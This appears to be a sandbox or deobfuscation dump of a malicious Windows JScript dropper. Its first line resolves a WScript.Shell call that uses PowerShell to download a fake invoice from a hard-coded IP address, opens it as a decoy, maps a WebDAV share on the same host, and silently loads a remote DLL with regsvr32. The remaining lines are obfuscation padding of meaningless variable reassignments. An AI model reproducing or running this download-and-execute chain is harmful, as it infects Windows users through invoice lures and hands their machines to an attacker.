bjydbefy + awmdu + yqxxtd + yqxxtd + bjydbefy + vsolsno + vpznxnpn + evmtfj + erczh + emvubg + isopcvzwh + isopcvzwh, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43241885228013.dll",0,false) ➔ 0
14	}
15	bjydbefy = "t";
16	bjydbefy = "K";
17	bjydbefy = "j";
18	bjydbefy = "g";
19	bjydbefy = "N";
20	bjydbefy = "Z";
21	bjydbefy = "C";
22	bjydbefy = "F";
23	bjydbefy = "8";
24	oyipww = "F";
25	oyipww = "D";
26	oyipww = "q";
27	oyipww = "Z";
28	oyipww = "y";
29	oyipww = "J";
30	oyipww = "c";
31	oyipww = "t";
32	oyipww = "O";
33	oyipww = "d";
34	oyipww = "d";
35	oyipww = "O";
36	oyipww = "f";
37	oyipww = "d";
38	oyipww = "F";
39	oyipww = "e";
40	oyipww = "D";
41	oyipww = "X";
42	oyipww = "k";
43	uqlhpt = "B";
44	uqlhpt = "x";
45	uqlhpt = "U";
46	uqlhpt = "n";
47	uqlhpt = "y";
48	uqlhpt = "N";
49	uqlhpt = "F";
50	uqlhpt = "A";
51	uqlhpt = "v";
52	uqlhpt = "u";
53	uqlhpt = "a";
54	uqlhpt = "C";
55	uqlhpt = "j";
56	uqlhpt = "v";
57	uqlhpt = "j";
58	uqlhpt = "O";
59	uqzpo = "p";
60	uqzpo = "N";
61	uqzpo = "r";
62	uqzpo = "o";
63	uqzpo = "x";
64	uqzpo = "Y";
65	uqzpo = "R";
66	uqzpo = "x";
67	uqzpo = "Q";
68	uqzpo = "m";
69	uqzpo = "p";
70	uqzpo = "z";
71	uqzpo = "j";
72	trndq = "Z";
73	trndq = "J";
74	trndq = "s";
75	trndq = "W";
76	trndq = "%";
77	xjcwm = "y";
78	xjcwm = "D";
79	xjcwm = "t";
80	xjcwm = "h";
81	xjcwm = "l";
82	xjcwm = "v";
83	xjcwm = "Z";
84	xjcwm = "V";
85	xjcwm = "W";
86	xjcwm = "Z";
87	xjcwm = "n";
88	xjcwm = "m";
89	xjcwm = "j";
90	xjcwm = "u";
91	xjcwm = "U";
92	xjcwm = "d";
93	xjcwm = "U";
94	xjcwm = "X";
95	xjcwm = "M";
96	xjcwm = "J";
97	xjcwm = "y";
98	xjcwm = "g";
99	xjcwm = "B";
100	xjcwm = "b";
101	xjcwm = "a";
102	xjcwm = "@";
103	erfue = "N";
104	erfue = "C";
105	erfue = "K";
106	erfue = "P";
107	erfue = "Z";
108	erfue = "N";
109	erfue = "I";
110	erfue = "P";
111	erfue = "g";
112	erfue = "i";
113	erfue = "o";
114	erfue = "I";
115	erfue = "K";
116	erfue = "e";
117	erfue = "U";
118	erfue = "q";
119	erfue = "N";
120	erfue = "X";
121	erfue = "q";
122	erfue = "e";
123	erfue = "g";
124	erfue = "A";
125	erfue = "h";
126	erfue = "d";
127	erfue = "D";
128	erfue = "y";
129	erfue = "R";
130	erfue = "i";
131	erfue = "F";
132	erfue = "N";
133	erfue = "R";
134	erfue = "h";
135	erfue = "a";
136	erfue = "u";
137	erfue = "E";
138	erfue = "E";
139	eavfk = "A";
140	eavfk = "v";
141	eavfk = "Q";
142	eavfk = "\"";
143	cytzpf = "T";
144	cytzpf = "U";
145	cytzpf = "j";
146	cytzpf = "M";
147	cytzpf = "j";
148	cytzpf = "v";
149	cytzpf = "y";
150	cytzpf = "H";
151	cytzpf = "R";
152	cytzpf = "U";
153	cytzpf = "h";
154	cytzpf = "X";
155	cytzpf = "K";
156	uuvimiyve = "E";
157	uuvimiyve = "d";
158	uuvimiyve = "O";
159	uuvimiyve = "k";
160	uuvimiyve = "Z";
161	uuvimiyve = "F";
162	uuvimiyve = "Q";
163	uuvimiyve = "d";
164	uuvimiyve = "z";
165	uuvimiyve = "T";
166	uuvimiyve = "n";
167	uuvimiyve = "j";
168	uuvimiyve = "N";
169	uuvimiyve = "E";
170	uuvimiyve = "F";
171	uuvimiyve = "U";
172	uuvimiyve = "a";
173	uuvimiyve = "n";
174	uuvimiyve = "D";
175	uuvimiyve = "t";
176	uuvimiyve = "g";
177	uuvimiyve = "x";
178	uuvimiyve = "Z";
179	uuvimiyve = "X";
180	uuvimiyve = "O";
181	uuvimiyve = "K";
182	uuvimiyve = "b";
183	uuvimiyve = "Q";
184	uuvimiyve = "S";
185	uuvimiyve = "l";
186	uuvimiyve = "J";
187	uuvimiyve = "P";
188	uuvimiyve = "x";
189	uuvimiyve = "u";
190	tmzsmfiz = "h";
191	tmzsmfiz = "M";
192	tmzsmfiz = "x";
193	tmzsmfiz = "O";
194	tmzsmfiz = "x";
195	tmzsmfiz = "s";
196	tmzsmfiz = "R";
197	tmzsmfiz = "h";
198	tmzsmfiz = "T";
199	tmzsmfiz = "l";
200	tmzsmfiz = "S";
201	tmzsmfiz = "k";
202	tmzsmfiz = "h";
203	tmzsmfiz = "B";
204	tmzsmfiz = "D";
205	tmzsmfiz = "f";
206	tmzsmfiz = "Z";
207	tmzsmfiz = "q";
208	tmzsmfiz = "p";
209	tmzsmfiz = "c";
210	tmzsmfiz = "i";
211	tmzsmfiz = "D";
212	tmzsmfiz = "b";
213	tmzsmfiz = "J";
214	tmzsmfiz = "q";
215	tmzsmfiz = "A";
216	tmzsmfiz = "K";
217	tmzsmfiz = "J";
218	tmzsmfiz = "S";
219	tmzsmfiz = "u";
220	tmzsmfiz = "U";
221	tmzsmfiz = "d";
222	tmzsmfiz = "M";
223	tmzsmfiz = "l";
224	tmzsmfiz = "x";
225	tmzsmfiz = "D";
226	tmzsmfiz = "W";
227	tmzsmfiz = "S";
228	tmzsmfiz = "R";
229	wvgintrg = "P";
230	wvgintrg = "o";
231	wvgintrg = "w";
232	wvgintrg = "w";
233	wvgintrg = "O";
234	wvgintrg = "u";
235	wvgintrg = "m";
236	wvgintrg = "M";
237	wvgintrg = "g";
238	wvgintrg = "m";
239	wvgintrg = "N";
240	wvgintrg = "u";
241	wvgintrg = "G";
242	wvgintrg = "I";
243	wvgintrg = "F";
244	wvgintrg = "K";
245	wvgintrg = "z";
246	wvgintrg = "e";
247	wvgintrg = "u";
248	wvgintrg = "F";
249	wvgintrg = "a";
250	wvgintrg = "U";
251	wvgintrg = "e";
252	wvgintrg = "J";
253	wvgintrg = "O";
254	wvgintrg = "W";
255	pjljskka = "b";
256	pjljskka = "R";
257	pjljskka = "l";
258	pjljskka = "S";
259	pjljskka = "I";
260	pjljskka = "g";
261	pjljskka = "E";
262	pjljskka = "t";
263	pjljskka = "F";
264	pjljskka = "A";
265	pjljskka = "g";
266	vpznxnpn = "c";
267	vpznxnpn = "g";
268	vpznxnpn = "s";
269	vpznxnpn = "1";
270	erczh = "L";
271	erczh = "Q";
272	erczh = "s";
273	erczh = "j";
274	erczh = "P";
275	erczh = "b";
276	erczh = "B";
277	erczh = "L";
278	erczh = "O";
279	erczh = "n";
280	erczh = "H";
281	erczh = "F";
282	erczh = "j";
283	erczh = "e";
284	erczh = "K";
285	erczh = "v";
286	erczh = "a";
287	erczh = "q";
288	erczh = "b";
289	erczh = "U";
290	erczh = "P";
291	erczh = "h";
292	erczh = "U";
293	erczh = "e";
294	erczh = "D";
295	erczh = "E";
296	erczh = "g";
297	erczh = "c";
298	erczh = "I";
299	erczh = "G";
300	erczh = "b";
301	erczh = ".";
302	wonjdxecr = "U";
303	wonjdxecr = "i";
304	wonjdxecr = "a";
305	wonjdxecr = "N";
306	wonjdxecr = "d";
307	wonjdxecr = "x";
308	wonjdxecr = "S";
309	wonjdxecr = "J";
310	wonjdxecr = "H";
311	wonjdxecr = "E";
312	wonjdxecr = "n";
313	wonjdxecr = "h";
314	wonjdxecr = "j";
315	wonjdxecr = "D";
316	wonjdxecr = "Z";
317	wonjdxecr = "j";
318	wonjdxecr = "Q";
319	wonjdxecr = "m";
320	wonjdxecr = "d";
321	wonjdxecr = "x";
322	wonjdxecr = "L";
323	wonjdxecr = "G";
324	wonjdxecr = "k";
325	wonjdxecr = "i";
326	wonjdxecr = "C";
327	yqxxtd = "g";
328	yqxxtd = "A";
329	yqxxtd = "I";
330	yqxxtd = "T";
331	yqxxtd = "w";
332	yqxxtd = "H";
333	yqxxtd = "e";
334	yqxxtd = "Y";
335	yqxxtd = "b";
336	yqxxtd = "2";
337	llpktsn = "r";
338	llpktsn = "q";
339	llpktsn = "G";
340	llpktsn = "G";
341	llpktsn = "i";
342	llpktsn = "l";
343	llpktsn = "e";
344	llpktsn = "y";
345	llpktsn = "m";
346	llpktsn = "L";
347	llpktsn = "e";
348	llpktsn = "v";
349	llpktsn = "G";
350	llpktsn = "v";
351	llpktsn = "U";
352	llpktsn = "o";
353	llpktsn = "9";
354	zfrmcwr = "F";
355	zfrmcwr = "a";
356	zfrmcwr = "y";
357	zfrmcwr = "R";
358	zfrmcwr = "L";
359	zfrmcwr = "w";
360	zfrmcwr = "V";
361	zfrmcwr = "d";
362	zfrmcwr = "p";
363	zfrmcwr = "M";
364	zfrmcwr = "J";
365	zfrmcwr = "G";
366	zfrmcwr = "R";
367	zfrmcwr = "v";
368	zfrmcwr = "k";
369	zfrmcwr = "M";
370	zfrmcwr = "u";
371	zfrmcwr = "i";
372	zfrmcwr = "E";
373	zfrmcwr = "D";
374	zfrmcwr = "w";
375	zfrmcwr = "B";
376	zfrmcwr = "q";
377	zfrmcwr = "L";
378	zfrmcwr = "w";
379	zfrmcwr = "I";
380	zfrmcwr = "b";
381	zfrmcwr = "o";
382	zfrmcwr = "j";
383	zfrmcwr = "E";
384	zfrmcwr = "n";
385	zfrmcwr = "E";
386	zfrmcwr = "g";
387	zfrmcwr = "N";
388	zfrmcwr = "N";
389	zfrmcwr = "O";
390	zfrmcwr = "o";
391	zfrmcwr = "A";
392	zfrmcwr = "L";
393	zfrmcwr = "q";
394	zfrmcwr = "Q";
395	qkaarjkxb = "g";
396	qkaarjkxb = "z";
397	qkaarjkxb = "j";
398	qkaarjkxb = "Q";
399	qkaarjkxb = "Q";
400	qkaarjkxb = "L";
401	qkaarjkxb = "h";
402	qkaarjkxb = "O";
403	qkaarjkxb = "a";
404	qkaarjkxb = "x";
405	qkaarjkxb = "A";
406	qkaarjkxb = "a";
407	qkaarjkxb = "M";
408	qkaarjkxb = "V";
409	qkaarjkxb = "t";
410	qkaarjkxb = "o";
411	qkaarjkxb = "k";
412	qkaarjkxb = "D";
413	qkaarjkxb = "j";
414	qkaarjkxb = "M";
415	qkaarjkxb = "e";
416	qkaarjkxb = "C";
417	qkaarjkxb = "Q";
418	qkaarjkxb = "W";
419	qkaarjkxb = "o";
420	qkaarjkxb = "d";
421	qkaarjkxb = "g";
422	qkaarjkxb = "i";
423	qkaarjkxb = "S";
424	qkaarjkxb = "u";
425	qkaarjkxb = "g";
426	qkaarjkxb = "i";
427	qkaarjkxb = "z";
428	qkaarjkxb = "q";
429	qkaarjkxb = "p";
430	qkaarjkxb = "n";
431	awmdu = "Z";
432	awmdu = "G";
433	awmdu = "H";
434	awmdu = "o";
435	awmdu = "u";
436	awmdu = "y";
437	awmdu = "n";
438	awmdu = "z";
439	awmdu = "F";
440	awmdu = "h";
441	awmdu = "G";
442	awmdu = "Z";
443	awmdu = "C";
444	awmdu = "L";
445	awmdu = "e";
446	awmdu = "N";
447	awmdu = "w";
448	awmdu = "O";
449	awmdu = "q";
450	awmdu = "r";
451	awmdu = "r";
452	awmdu = "R";
453	awmdu = "O";
454	awmdu = "s";
455	awmdu = "F";
456	awmdu = "e";
457	awmdu = "g";
458	awmdu = "m";
459	awmdu = "n";
460	awmdu = "b";
461	awmdu = "Y";
462	awmdu = "5";
463	ztfevp = "U";
464	ztfevp = "L";
465	ztfevp = "Q";
466	ztfevp = "P";
467	ztfevp = "D";
468	ztfevp = "X";
469	ztfevp = "s";
470	ztfevp = "z";
471	ztfevp = "C";
472	ztfevp = "m";
473	ztfevp = "o";
474	ztfevp = "c";
475	ztfevp = "\\";
476	zladsu = "p";
477	zladsu = "g";
478	zladsu = "g";
479	zladsu = "u";
480	zladsu = "s";
481	zladsu = "i";
482	zladsu = "s";
483	zladsu = "K";
484	zladsu = "q";
485	zladsu = "z";
486	zladsu = "D";
487	zladsu = "P";
488	zladsu = "P";
489	zladsu = "L";
490	zladsu = "z";
491	zladsu = "z";
492	zladsu = "q";
493	zladsu = "v";
494	zladsu = "T";
495	zladsu = "n";
496	zladsu = "I";
497	ixpzdkau = "c";
498	ixpzdkau = "t";
499	ixpzdkau = "x";
500	ixpzdkau = "B";
501	ixpzdkau = "K";
502	ixpzdkau = "x";
503	ixpzdkau = "L";
504	ixpzdkau = "L";
505	ixpzdkau = "b";
506	ixpzdkau = "U";
507	ixpzdkau = "d";
508	ixpzdkau = "l";
509	ixpzdkau = "i";
510	ixpzdkau = "g";
511	ixpzdkau = "B";
512	ixpzdkau = "V";
513	ixpzdkau = "e";
514	ixpzdkau = "j";
515	ixpzdkau = "Z";
516	ixpzdkau = "Z";
517	ixpzdkau = "h";
518	ixpzdkau = "Z";
519	ixpzdkau = "o";
520	ixpzdkau = "Y";
521	ixpzdkau = "h";
522	ixpzdkau = "f";
523	ixpzdkau = "b";
524	ixpzdkau = "Y";
525	ixpzdkau = "v";
526	qvzcxmhyl = "r";
527	qvzcxmhyl = "J";
528	qvzcxmhyl = "Z";
529	qvzcxmhyl = "b";
530	qvzcxmhyl = "t";
531	qvzcxmhyl = "V";
532	qvzcxmhyl = "a";
533	qvzcxmhyl = "M";
534	qvzcxmhyl = "l";
535	qvzcxmhyl = "j";
536	qvzcxmhyl = "w";
537	qvzcxmhyl = "Z";
538	qvzcxmhyl = "t";
539	qvzcxmhyl = "d";
540	qvzcxmhyl = "p";
541	qvzcxmhyl = "k";
542	qvzcxmhyl = "J";
543	qvzcxmhyl = ":";
544	szquppwoh = "b";
545	szquppwoh = "R";
546	szquppwoh = "y";
547	szquppwoh = "P";
548	szquppwoh = "i";
549	szquppwoh = "y";
550	szquppwoh = "r";
551	szquppwoh = "P";
552	szquppwoh = "v";
553	szquppwoh = "W";
554	szquppwoh = "p";
555	szquppwoh = "v";
556	szquppwoh = "Y";
557	szquppwoh = "q";
558	qqfpq = "r";
559	qqfpq = "Y";
560	qqfpq = "b";
561	qqfpq = "C";
562	qqfpq = "r";
563	qqfpq = "Y";
564	qqfpq = "h";
565	qqfpq = "r";
566	qqfpq = "P";
567	qqfpq = "S";
568	qqfpq = "O";
569	qqfpq = "a";
570	qqfpq = "o";
571	qqfpq = "f";
572	qqfpq = "t";
573	qqfpq = "U";
574	qqfpq = "Z";
575	qqfpq = "n";
576	qqfpq = "c";
577	qqfpq = "G";
578	qqfpq = "f";
579	qqfpq = "b";
580	qqfpq = "v";
581	qqfpq = "k";
582	qqfpq = "u";
583	qqfpq = "w";
584	qqfpq = "M";
585	qqfpq = "y";
586	qqfpq = "M";
587	qqfpq = "c";
588	qqfpq = "d";
589	qqfpq = "x";
590	qqfpq = "x";
591	qqfpq = "I";
592	qqfpq = "S";
593	qqfpq = "S";
594	qqfpq = "m";
595	qqfpq = "/";
596	ltzzixqw = "n";
597	ltzzixqw = "r";
598	ltzzixqw = "E";
599	ltzzixqw = "I";
600	ltzzixqw = "U";
601	ltzzixqw = "G";
602	ltzzixqw = "J";
603	ltzzixqw = "I";
604	ltzzixqw = "I";
605	ltzzixqw = "U";
606	ltzzixqw = "K";
607	ltzzixqw = "u";
608	ltzzixqw = "Z";
609	ltzzixqw = "Q";
610	ltzzixqw = "p";
611	ltzzixqw = "v";
612	ltzzixqw = "r";
613	ltzzixqw = "s";
614	ltzzixqw = "L";
615	ltzzixqw = "t";
616	ltzzixqw = "I";
617	ltzzixqw = "k";
618	ltzzixqw = "o";
619	ltzzixqw = "Y";
620	ltzzixqw = "r";
621	ltzzixqw = "a";
622	ltzzixqw = " ";
623	fmrdehbh = "b";
624	fmrdehbh = "U";
625	fmrdehbh = "X";
626	fmrdehbh = "j";
627	fmrdehbh = "l";
628	fmrdehbh = "T";
629	fmrdehbh = "Q";
630	fmrdehbh = "M";
631	fmrdehbh = "N";
632	fmrdehbh = "r";
633	fmrdehbh = "I";
634	fmrdehbh = "y";
635	fmrdehbh = "C";
636	fmrdehbh = "g";
637	fmrdehbh = "-";
638	tmvbv = "X";
639	tmvbv = "W";
640	tmvbv = "Y";
641	tmvbv = "h";
642	tmvbv = "i";
643	tmvbv = "J";
644	tmvbv = "N";
645	tmvbv = "m";
646	tmvbv = "O";
647	tmvbv = "s";
648	tmvbv = "P";
649	tmvbv = "U";
650	tmvbv = "P";
651	tmvbv = "k";
652	tmvbv = "N";
653	tmvbv = "O";
654	tmvbv = "t";
655	tmvbv = "I";
656	tmvbv = "W";
657	tmvbv = "I";
658	tmvbv = "T";
659	tmvbv = "a";
660	tmvbv = "Q";
661	tmvbv = "z";
662	tmvbv = "K";
663	tmvbv = "j";
664	tmvbv = "b";
665	tmvbv = "k";
666	tmvbv = "K";
667	tmvbv = "b";
668	tmvbv = "W";
669	tmvbv = "l";
670	tmvbv = "r";
671	tmvbv = "a";
672	tmvbv = "w";
673	tmvbv = "t";
674	tmvbv = "f";
675	qkenbms = "t";
676	qkenbms = "Y";
677	qkenbms = "W";
678	qkenbms = "k";
679	qkenbms = "s";
680	evmtfj = "s";
681	evmtfj = "x";
682	evmtfj = "m";
683	evmtfj = "L";
684	evmtfj = "t";
685	evmtfj = "L";
686	evmtfj = "h";
687	evmtfj = "J";
688	evmtfj = "U";
689	evmtfj = "Y";
690	evmtfj = "S";
691	evmtfj = "K";
692	evmtfj = "M";
693	evmtfj = "j";
694	evmtfj = "L";
695	evmtfj = "Y";
696	evmtfj = "P";
697	evmtfj = "D";
698	evmtfj = "t";
699	evmtfj = "Z";
700	evmtfj = "k";
701	evmtfj = "B";
702	evmtfj = "I";
703	evmtfj = "c";
704	evmtfj = "t";
705	evmtfj = "t";
706	evmtfj = "n";
707	evmtfj = "O";
708	evmtfj = "h";
709	evmtfj = "n";
710	evmtfj = "q";
711	evmtfj = "D";
712	evmtfj = "j";
713	evmtfj = "3";
714	sclxzzzb = "r";
715	sclxzzzb = "g";
716	sclxzzzb = "Y";
717	sclxzzzb = "G";
718	sclxzzzb = "D";
719	sclxzzzb = "D";
720	sclxzzzb = "o";
721	sclxzzzb = "y";
722	sclxzzzb = "R";
723	sclxzzzb = "I";
724	sclxzzzb = "M";
725	sclxzzzb = "d";
726	sclxzzzb = "g";
727	sclxzzzb = "g";
728	sclxzzzb = "e";
729	sclxzzzb = "O";
730	sclxzzzb = "Q";
731	sclxzzzb = "R";
732	sclxzzzb = "i";
733	oihilv = "c";
734	oihilv = "O";
735	oihilv = "C";
736	oihilv = "m";
737	oihilv = "K";
738	oihilv = "m";
739	oihilv = "U";
740	oihilv = "k";
741	oihilv = "y";
742	oihilv = "O";
743	oihilv = "F";
744	oihilv = "z";
745	oihilv = "A";
746	oihilv = "_";
747	xqijnaumi = "b";
748	xqijnaumi = "e";
749	xqijnaumi = "U";
750	yppdljygr = "u";
751	yppdljygr = "f";
752	yppdljygr = "k";
753	yppdljygr = "t";
754	yppdljygr = "j";
755	yppdljygr = "I";
756	yppdljygr = "w";
757	yppdljygr = "O";
758	yppdljygr = "u";
759	yppdljygr = "g";
760	yppdljygr = "n";
761	yppdljygr = "q";
762	yppdljygr = "Z";
763	yppdljygr = "B";
764	yppdljygr = "S";
765	yppdljygr = "M";
766	yppdljygr = "i";
767	yppdljygr = "Y";
768	yppdljygr = "b";
769	qjlxx = "c";
770	qjlxx = "h";
771	qjlxx = "d";
772	qjlxx = "e";
773	qjlxx = "N";
774	qjlxx = "X";
775	qjlxx = "D";
776	qjlxx = "G";
777	qjlxx = "z";
778	qjlxx = "O";
779	qjlxx = "I";
780	qjlxx = "E";
781	qjlxx = "X";
782	qjlxx = "e";
783	qjlxx = "B";
784	qjlxx = "P";
785	qjlxx = "b";
786	qjlxx = "o";
787	qjlxx = "o";
788	qjlxx = "B";
789	qjlxx = "o";
790	qjlxx = "a";
791	qjlxx = "D";
792	qjlxx = "E";
793	qjlxx = "p";
794	qjlxx = "G";
795	qjlxx = "t";
796	muhpsoya = "z";
797	muhpsoya = "Q";
798	muhpsoya = "e";
799	muhpsoya = "O";
800	muhpsoya = "j";
801	muhpsoya = "k";
802	muhpsoya = "d";
803	muhpsoya = "x";
804	muhpsoya = "q";
805	muhpsoya = "X";
806	muhpsoya = "w";
807	muhpsoya = "Y";
808	muhpsoya = "M";
809	muhpsoya = "j";
810	muhpsoya = "n";
811	muhpsoya = "m";
812	muhpsoya = "v";
813	muhpsoya = "B";
814	muhpsoya = "y";
815	muhpsoya = "f";
816	muhpsoya = "k";
817	muhpsoya = "x";
818	vsolsno = "l";
819	vsolsno = "g";
820	vsolsno = "Y";
821	vsolsno = "H";
822	vsolsno = "v";
823	vsolsno = "q";
824	vsolsno = "e";
825	vsolsno = "P";
826	vsolsno = "L";
827	vsolsno = "l";
828	vsolsno = "s";
829	vsolsno = "r";
830	vsolsno = "c";
831	vsolsno = "B";
832	vsolsno = "E";
833	vsolsno = "a";
834	vsolsno = "W";
835	vsolsno = "C";
836	vsolsno = "y";
837	vsolsno = "o";
838	vsolsno = "v";
839	vsolsno = "g";
840	vsolsno = "b";
841	vsolsno = "o";
842	vsolsno = "f";
843	vsolsno = "m";
844	vsolsno = "N";
845	vsolsno = "M";
846	vsolsno = "0";
847	nguiovi = "K";
848	nguiovi = "Y";
849	nguiovi = "r";
850	nguiovi = "y";
851	nguiovi = "r";
852	nguiovi = "K";
853	nguiovi = "q";
854	nguiovi = "K";
855	nguiovi = "J";
856	nguiovi = "K";
857	nguiovi = "e";
858	nguiovi = "A";
859	nguiovi = "U";
860	nguiovi = "i";
861	nguiovi = "p";
862	nguiovi = "n";
863	nguiovi = "z";
864	nguiovi = "G";
865	nguiovi = "w";
866	nguiovi = "L";
867	nguiovi = "D";
868	nguiovi = "k";
869	nguiovi = "h";
870	nguiovi = "J";
871	nguiovi = "i";
872	nguiovi = "O";
873	nguiovi = "a";
874	nguiovi = "r";
875	nguiovi = "K";
876	nguiovi = "g";
877	nguiovi = "q";
878	nguiovi = "H";
879	nguiovi = "h";
880	nguiovi = "b";
881	nguiovi = "x";
882	nguiovi = "T";
883	cdlerso = "X";
884	cdlerso = "X";
885	cdlerso = "m";
886	cdlerso = "C";
887	cdlerso = "m";
888	cdlerso = "D";
889	cdlerso = "u";
890	cdlerso = "n";
891	cdlerso = "z";
892	cdlerso = "V";
893	cdlerso = "k";
894	cdlerso = "s";
895	cdlerso = "g";
896	cdlerso = "k";
897	cdlerso = "I";
898	cdlerso = "Q";
899	cdlerso = "P";
900	gzwqnow = "x";
901	gzwqnow = "C";
902	gzwqnow = "X";
903	gzwqnow = "p";
904	gzwqnow = "A";
905	gzwqnow = "Z";
906	gzwqnow = "P";
907	gzwqnow = "A";
908	gzwqnow = "P";
909	gzwqnow = "O";
910	gzwqnow = "w";
911	gzwqnow = "D";
912	gzwqnow = "Z";
913	gzwqnow = "I";
914	gzwqnow = "Y";
915	gzwqnow = "A";
916	gzwqnow = "J";
917	gzwqnow = "q";
918	gzwqnow = "e";
919	gzwqnow = "q";
920	gzwqnow = "i";
921	gzwqnow = "W";
922	gzwqnow = "V";
923	gzwqnow = "V";
924	gzwqnow = "l";
925	gzwqnow = "z";
926	gzwqnow = "f";
927	gzwqnow = "V";
928	gzwqnow = "p";
929	gzwqnow = "d";
930	gzwqnow = "y";
931	gzwqnow = "R";
932	gzwqnow = "p";
933	gzwqnow = "z";
934	gzwqnow = "n";
935	gzwqnow = "D";
936	gzwqnow = "q";
937	gzwqnow = "h";
938	gzwqnow = "4";
939	jhukqvo = "t";
940	jhukqvo = "h";
941	jhukqvo = "O";
942	jhukqvo = "t";
943	jhukqvo = "R";
944	jhukqvo = "M";
945	jhukqvo = "k";
946	jhukqvo = "Z";
947	jhukqvo = "p";
948	jhukqvo = "c";
949	jhukqvo = "J";
950	jhukqvo = "Z";
951	jhukqvo = "k";
952	jhukqvo = "w";
953	jhukqvo = "N";
954	jhukqvo = "j";
955	jhukqvo = "H";
956	jhukqvo = "U";
957	jhukqvo = "y";
958	jhukqvo = "g";
959	jhukqvo = "R";
960	jhukqvo = "D";
961	jhukqvo = "p";
962	qyhjdex = "x";
963	qyhjdex = "n";
964	qyhjdex = "w";
965	qyhjdex = "O";
966	qyhjdex = "N";
967	qyhjdex = "w";
968	qyhjdex = "n";
969	qyhjdex = "p";
970	qyhjdex = "c";
971	qyhjdex = "t";
972	qyhjdex = "j";
973	qyhjdex = "U";
974	qyhjdex = "q";
975	qyhjdex = "D";
976	qyhjdex = "O";
977	qyhjdex = "i";
978	qyhjdex = "w";
979	qyhjdex = "U";
980	qyhjdex = "B";
981	qyhjdex = "w";
982	cntax = "D";
983	cntax = "j";
984	cntax = "w";
985	cntax = "S";
986	cntax = "s";
987	cntax = "s";
988	cntax = "D";
989	cntax = "G";
990	cntax = "m";
991	cntax = "H";
992	cntax = "b";
993	cntax = "g";
994	cntax = "v";
995	cntax = "q";
996	cntax = "Q";
997	cntax = "D";
998	cntax = "F";
999	cntax = "r";
1000	cntax = "H";
1001	cntax = "K";
1002	cntax = "Z";
1003	cntax = "I";
1004	cntax = "m";
1005	quahn = "s";
1006	quahn = "X";
1007	quahn = "O";
1008	quahn = "M";
1009	quahn = "z";
1010	quahn = "u";
1011	quahn = "m";
1012	quahn = "V";
1013	quahn = "M";
1014	quahn = "c";
1015	emvubg = "p";
1016	emvubg = "V";
1017	emvubg = "E";
1018	emvubg = "s";
1019	emvubg = "D";
1020	emvubg = "X";
1021	emvubg = "z";
1022	emvubg = "o";
1023	emvubg = "r";
1024	emvubg = "d";
1025	wkoenn = "q";
1026	wkoenn = "e";
1027	wkoenn = "T";
1028	wkoenn = "n";
1029	wkoenn = "K";
1030	wkoenn = "Q";
1031	wkoenn = "H";
1032	wkoenn = "N";
1033	wkoenn = "U";
1034	wkoenn = "C";
1035	wkoenn = "r";
1036	wkoenn = "T";
1037	wkoenn = "p";
1038	wkoenn = "u";
1039	wkoenn = "D";
1040	wkoenn = "B";
1041	wkoenn = "N";
1042	rddhqmnae = "y";
1043	rddhqmnae = "V";
1044	rddhqmnae = "D";
1045	rddhqmnae = "j";
1046	rddhqmnae = "x";
1047	rddhqmnae = "L";
1048	rddhqmnae = "W";
1049	rddhqmnae = "S";
1050	rddhqmnae = "J";
1051	rddhqmnae = "Y";
1052	rddhqmnae = "D";
1053	rddhqmnae = "D";
1054	rddhqmnae = "t";
1055	rddhqmnae = "h";
1056	rddhqmnae = "i";
1057	rddhqmnae = "O";
1058	rddhqmnae = "O";
1059	rddhqmnae = "x";
1060	rddhqmnae = "n";
1061	rddhqmnae = "v";
1062	rddhqmnae = "k";
1063	rddhqmnae = "v";
1064	rddhqmnae = "l";
1065	rddhqmnae = "z";
1066	rddhqmnae = "g";
1067	rddhqmnae = "s";
1068	rddhqmnae = "n";
1069	rddhqmnae = "x";
1070	rddhqmnae = "t";
1071	rddhqmnae = "c";
1072	rddhqmnae = "t";
1073	rddhqmnae = "Y";
1074	rddhqmnae = "F";
1075	rddhqmnae = "r";
1076	rddhqmnae = "F";
1077	spbub = "T";
1078	spbub = "V";
1079	spbub = "N";
1080	spbub = "N";
1081	spbub = "g";
1082	spbub = "g";
1083	spbub = "c";
1084	spbub = "T";
1085	spbub = "E";
1086	spbub = "b";
1087	spbub = "l";
1088	spbub = "G";
1089	spbub = "Z";
1090	spbub = "v";
1091	spbub = "Y";
1092	spbub = "A";
1093	spbub = "h";
1094	spbub = "l";
1095	spbub = "M";
1096	spbub = "E";
1097	spbub = "Z";
1098	spbub = "o";
1099	spbub = "S";
1100	spbub = "I";
1101	spbub = "Z";
1102	spbub = "F";
1103	spbub = "I";
1104	spbub = "H";
1105	spbub = "M";
1106	spbub = "i";
1107	spbub = "r";
1108	spbub = "V";
1109	spbub = "E";
1110	spbub = "o";
1111	spbub = "Q";
1112	spbub = "X";
1113	spbub = "f";
1114	spbub = "E";
1115	spbub = "e";
1116	hktxphqk = "i";
1117	hktxphqk = "b";
1118	hktxphqk = "N";
1119	hktxphqk = "N";
1120	hktxphqk = "K";
1121	hktxphqk = "V";
1122	hktxphqk = "C";
1123	hktxphqk = "s";
1124	hktxphqk = "w";
1125	hktxphqk = "s";
1126	hktxphqk = "S";
1127	hktxphqk = "p";
1128	hktxphqk = "I";
1129	hktxphqk = "l";
1130	hktxphqk = "O";
1131	hktxphqk = "o";
1132	hktxphqk = "q";
1133	hktxphqk = "E";
1134	hktxphqk = "n";
1135	hktxphqk = "p";
1136	hktxphqk = "d";
1137	hktxphqk = "s";
1138	hktxphqk = "c";
1139	hktxphqk = "h";
1140	hktxphqk = "l";
1141	hktxphqk = "X";
1142	hktxphqk = "n";
1143	hktxphqk = "Z";
1144	hktxphqk = "Y";
1145	hktxphqk = "C";
1146	hktxphqk = "v";
1147	hktxphqk = "Y";
1148	hktxphqk = "M";
1149	hktxphqk = "i";
1150	hktxphqk = "Q";
1151	hktxphqk = "w";
1152	hktxphqk = "U";
1153	hktxphqk = "d";
1154	hktxphqk = "E";
1155	hktxphqk = "n";
1156	hktxphqk = "w";
1157	hktxphqk = "C";
1158	hktxphqk = "m";
1159	hktxphqk = "&";
1160	nehlrtin = "n";
1161	nehlrtin = "S";
1162	nehlrtin = "N";
1163	nehlrtin = "D";
1164	nehlrtin = "G";
1165	nehlrtin = "p";
1166	nehlrtin = "J";
1167	nehlrtin = "P";
1168	nehlrtin = "x";
